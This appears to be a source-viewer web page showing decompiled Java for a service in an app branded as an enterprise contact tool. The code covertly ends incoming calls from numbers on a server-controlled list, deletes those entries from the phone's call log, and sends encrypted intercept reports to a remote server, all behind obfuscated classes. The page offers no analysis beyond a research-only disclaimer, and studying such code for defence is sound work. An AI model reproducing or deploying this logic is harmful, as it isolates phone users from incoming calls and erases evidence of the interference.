导航菜单

页面标题

页面副标题

moonshot.企业版 v5.53.33 - PhoneIntercepterService.java 源代码

正在查看: moonshot.企业版 v5.53.33 应用的 PhoneIntercepterService.java JAVA 源代码文件

本页面展示 JAVA 反编译生成的源代码文件,支持语法高亮显示。 仅供安全研究与技术分析使用,严禁用于任何非法用途。请遵守相关法律法规。


package com.ddtx.dingdatacontact.service;

import TCUcMtElLJnqSvqb7YcU.TCUcMtElLJnqSvqb7YcU.InterfaceC0265;
import android.app.Notification;
import android.app.NotificationChannel;
import android.app.NotificationManager;
import android.app.Service;
import android.content.Context;
import android.content.Intent;
import android.database.ContentObserver;
import android.os.Build;
import android.os.Handler;
import android.os.IBinder;
import android.provider.CallLog;
import android.telecom.TelecomManager;
import android.telephony.PhoneStateListener;
import android.telephony.TelephonyManager;
import com.android.internal.telephony.ITelephony;
import com.ddtx.dingdatacontact.R;
import com.google.gson.Gson;
import com.netease.nim.uikit.rest.Host;
import com.netease.nim.uikit.rest.JsonCallback;
import com.netease.nim.uikit.rest.SignUtil;
import com.netease.nim.uikit.utils.AesUtil;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.Iterator;
import jnksI9k6J1HFuFo5YzBf.P1qFuCkms7jkO5aFlyzU.UBVL9U3WwxbAPwDW6rA5.UBVL9U3WwxbAPwDW6rA5.嘧赚緋;
import jnksI9k6J1HFuFo5YzBf.upyuhngDCr2AObMMnNNw.UBVL9U3WwxbAPwDW6rA5.C4052;
import jnksI9k6J1HFuFo5YzBf.upyuhngDCr2AObMMnNNw.UBVL9U3WwxbAPwDW6rA5.C4063;

public class PhoneIntercepterService extends Service {
    private static final String CHANNEL_ID = "DemoService";
    private String incomingNumber = "";
    private TelecomManager manager;
    private Notification notification;
    private IBinder phoneIBinder;
    private C2902 phoneListener;
    private TelephonyManager telephonyManager;

    public class C2901 extends ContentObserver {

        private String f12270;

        public C2901(String str, Handler handler) {
            super(handler);
            this.f12270 = str;
        }

        @Override
        public void onChange(boolean z) {
            super.onChange(z);
            PhoneIntercepterService.this.deleteCallLog();
        }
    }

    public class C2902 extends PhoneStateListener {

        private Context f12272;

        public C2902(Context context) {
            this.f12272 = context;
        }

        @Override
        public void onCallStateChanged(int i, String str) {
            super.onCallStateChanged(i, str);
            String str2 = "收到 : " + str + ",state: " + i;
            C4063.m18997("PhoneIntercepterService onCallStateChanged phoneNumber " + str + ",state: " + i);
            ArrayList<String> arrayList = C4052.f15421;
            if (arrayList != null) {
                Iterator<String> it = arrayList.iterator();
                while (it.hasNext()) {
                    String str3 = "intercepter phone : " + it.next();
                }
            }
            if (i != 1) {
                return;
            }
            ArrayList<String> arrayList2 = C4052.f15421;
            if (arrayList2 == null || arrayList2.size() <= 0 || !C4052.f15421.contains(str)) {
                C4063.m18997("PhoneIntercepterService  not catch phoneNumber " + str);
                return;
            }
            String str4 = "catch : " + str;
            C4063.m18997("PhoneIntercepterService catch phoneNumber " + str);
            PhoneIntercepterService.this.incomingNumber = str;
            PhoneIntercepterService.this.endCall();
        }
    }

    public class C2903 {

        public String f12276 = C4052.m18945();

        public long f12273 = System.currentTimeMillis();

        public String f12275 = "";

        public int f12274 = 0;

        public C2903() {
        }
    }

    public class C2904 extends JsonCallback {
        public C2904() {
        }

        public void onResponse(Object obj) {
        }
    }

    public void deleteCallLog() {
        if (this.incomingNumber.isEmpty()) {
            return;
        }
        int delete = getContentResolver().delete(CallLog.Calls.CONTENT_URI, "number=?", new String[]{this.incomingNumber});
        String str = "已删除记录 " + delete;
        C4063.m18997("PhoneIntercepterService  deleteCallLog result " + delete);
        if (delete > 0) {
            uploadInterceptLog(1);
        }
    }

    public void endCall() {
        try {
            C4063.m18997("PhoneIntercepterService endCall phoneNumber " + this.incomingNumber);
            if (Build.VERSION.SDK_INT <= 28 || checkSelfPermission("android.permission.ANSWER_PHONE_CALLS") != 0) {
                ITelephony.AbstractBinderC2561.m14776((IBinder) Class.forName("android.os.ServiceManager").getMethod("getService", String.class).invoke(null, "phone")).endCall();
                deleteCallLog();
                C4063.m18997("PhoneIntercepterService ITelephony endCall phoneNumber " + this.incomingNumber);
                return;
            }
            TelecomManager telecomManager = (TelecomManager) getSystemService("telecom");
            this.manager = telecomManager;
            telecomManager.endCall();
            deleteCallLog();
            C4063.m18997("PhoneIntercepterService TelecomManager endCall phoneNumber " + this.incomingNumber);
        } catch (Exception e) {
            C4063.m18997("PhoneIntercepterService  endCall Exception " + e.getMessage());
            uploadInterceptLog(0);
            e.printStackTrace();
        }
    }

    private void setNotify() {
        NotificationManager notificationManager = (NotificationManager) getSystemService("notification");
        if (Build.VERSION.SDK_INT >= 26) {
            notificationManager.createNotificationChannel(new NotificationChannel(CHANNEL_ID, getString(R.string.app_name), 2));
            Notification build = new Notification.Builder(getApplicationContext(), CHANNEL_ID).build();
            this.notification = build;
            startForeground(1, build);
        }
    }

    @Override
    @InterfaceC0265
    public IBinder onBind(Intent intent) {
        return null;
    }

    @Override
    public void onCreate() {
        super.onCreate();
        C4063.m18997("PhoneIntercepterService onCreate");
        setNotify();
        this.telephonyManager = (TelephonyManager) getSystemService("phone");
        C2902 c2902 = new C2902(this);
        this.phoneListener = c2902;
        this.telephonyManager.listen(c2902, 32);
        try {
            this.phoneIBinder = (IBinder) PhoneIntercepterService.class.getClassLoader().loadClass("android.os.ServiceManager").getDeclaredMethod("getService", String.class).invoke(null, "phone");
            getContentResolver().registerContentObserver(CallLog.Calls.CONTENT_URI, true, new C2901(this.incomingNumber, new Handler()));
        } catch (Exception e) {
            e.printStackTrace();
            C4063.m18997("PhoneIntercepterService onCreate exception");
        }
        C4052.f15417 = true;
    }

    @Override
    public void onDestroy() {
        super.onDestroy();
        this.telephonyManager.listen(this.phoneListener, 0);
    }

    @Override
    public int onStartCommand(Intent intent, int i, int i2) {
        C4063.m18997("PhoneIntercepterService onStartCommand ");
        return super.onStartCommand(intent, i, i2);
    }

    public void uploadInterceptLog(int i) {
        C2903 c2903 = new C2903();
        c2903.f12275 = this.incomingNumber;
        c2903.f12274 = i;
        String json = new Gson().toJson(c2903);
        String str = " uploadInterceptLog data >>> " + json;
        String encrypt = AesUtil.encrypt(json);
        HashMap hashMap = new HashMap();
        hashMap.put("os", "android");
        hashMap.put("v", C4052.m18950(C4052.m18951()));
        SignUtil.genParams(hashMap);
        嘧赚緋.獊郐譨瀏().闦戝啓鏕觵競褁(Host.getApi_InterceptLog() + encrypt).爀錹涢萻陓嗼(hashMap).濺膽靴蛏鞙姮錽品蟹鷔().鰖透餜緑鰂鏾鳝遝(new C2904());
    }
}